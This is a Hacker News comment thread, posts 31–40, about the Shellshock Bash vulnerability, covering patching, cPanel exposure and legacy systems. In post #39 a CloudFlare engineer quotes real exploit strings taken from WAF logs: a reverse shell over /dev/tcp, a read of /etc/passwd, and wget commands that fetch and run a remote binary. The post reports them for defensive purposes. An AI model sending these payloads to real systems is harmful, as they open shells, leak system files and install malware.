Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Everything you need to know about the Shellshock Bash bug

troyhunt.com

Post reply on HN
Print view View original

31–40 of 296 posts

Re: Everything you need to know about the Shellshock Bash bug

#31

Post by r1ch »

peterwwillis wrote: post #18

There's no way that this bug could affect even a fraction of the number of users Heartbleed did. The number of affected machines is probably 1/10000th that of heartbleed, and heartbleed exposed hundreds of millions of users, the SSL keys of servers, etc to attack. The fact that legacy CGI scripts are the only attack vector being discussed right now is proof enough of how outdated this bug is. Keep in mind that hacker…

cPanel is probably the most popular reseller hosting software for shared web hosting and it relies on CGI in all kinds of places. That alone provides a huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it seems down right now.

Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon.

This is definitely not going to affect just a few legacy CGI sites.

Re: Everything you need to know about the Shellshock Bash bug

#32

Post by quarterto »

Igglyboo wrote: post #19

Can anyone explain what I should do on OSX? I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??

You can apply the patch to the OS X version of 3.2: http://apple.stackexchange.com/questions/146849/how-do-i-rec...

Re: Everything you need to know about the Shellshock Bash bug

#33

Post by ck2 »

embolalia wrote: post #17
ck2 wrote: post #12

Keep an eye on the patches directory for whatever version you use: http://ftp.gnu.org/pub/gnu/bash/ Just had to manually patch a CentOS4 legacy system. What I find interesting is the patch has been around since the 16th, what took so long and what finally lit a fire under the mainstream *nix releases?

>CentOS4 legacy system Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?

Well it was immune to heartbleed, lol

(ancient openssl never had tls heartbeat feature)

But Redhat actually still supports EL4 through their ELS program and releases patches for it until March 31, 2017

https://access.redhat.com/support/policy/updates/errata#th-r...

CentOS simply decided not to keep up with it anymore, cannot blame them.

Re: Everything you need to know about the Shellshock Bash bug

#34

Post by jpitz »

Igglyboo wrote: post #19

Can anyone explain what I should do on OSX? I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??

I've been running upgraded bash - and more recently, just zsh, in OSX for years. It has never broken anything here.

I think the risk of breaking something is outweighed by the risk of exploit.

Re: Everything you need to know about the Shellshock Bash bug

#35

Post by therealmarv »

When comparing security warning from RedHat https://access.redhat.com/solutions/1207723 vs Ubuntu http://www.ubuntu.com/usn/usn-2362-1/ the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why Ubuntu does not recommend this? They do ldconfig automatically?

Re: Everything you need to know about the Shellshock Bash bug

#37

Post by vezzy-fnord »

therealmarv wrote: post #35

When comparing security warning from RedHat https://access.redhat.com/solutions/1207723 vs Ubuntu http://www.ubuntu.com/usn/usn-2362-1/ the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why Ubuntu does not recommend this? They do ldconfig automatically?

Pretty sure it's run as a one-shot boot service on almost all distros.

Re: Everything you need to know about the Shellshock Bash bug

#38

Post by noir_lord »

Moru wrote: post #23
embolalia wrote: post #17

Earlier quoted context omitted.

>CentOS4 legacy system Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?

Usually time and money.

That or it does something ridiculously specific with a rare feature that was removed and the people who built it have left.

You find a lot of that type in education/local government.

Re: Everything you need to know about the Shellshock Bash bug

#39

Post by jgrahamc »

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like:

    () { :;}; /bin/ping -c 1 198.x.x.x
    () { :;}; echo shellshock-scan > /dev/udp/example.com/1234
    () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
    () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
    () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
    () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
    () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
    () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &
If you are one of our (paying) customers the rules to block this exploit are enabled automatically.

Re: Everything you need to know about the Shellshock Bash bug

#40

Post by maxerickson »

s_kilk wrote: post #22
sp332 wrote: post #11

Earlier quoted context omitted.

Not just web servers, but anything that calls system() or popen() is really calling the system shell, /bin/sh. On many systems, /bin/sh is really bash in sh compatability mode. That means all those perl scripts, CGI scripts, even DHCP clients expose the vulnerability. Ubuntu runs dash as /bin/sh instead, and most BSDs run ash, so they're not as vulnerable. Edit: also, if you have ssh access to a non-login account, li…

Would a python web server (gunicorn, wsgi) behind nginx be vulnerable to this kind of problem? I'm just pondering all the python library code out there which relies on calls to subprocess.Popen() to get things done. It seems like dynamic scripting languages with a tendancy to shell out to the system could be at risk of this or similar attacks.

It has to be subprocess.Popen(..., shell=True) to be a problem here, the default is shell=False.

(avoiding implicit shell=True was one of the motivations for the subprocess module)

Post reply on HN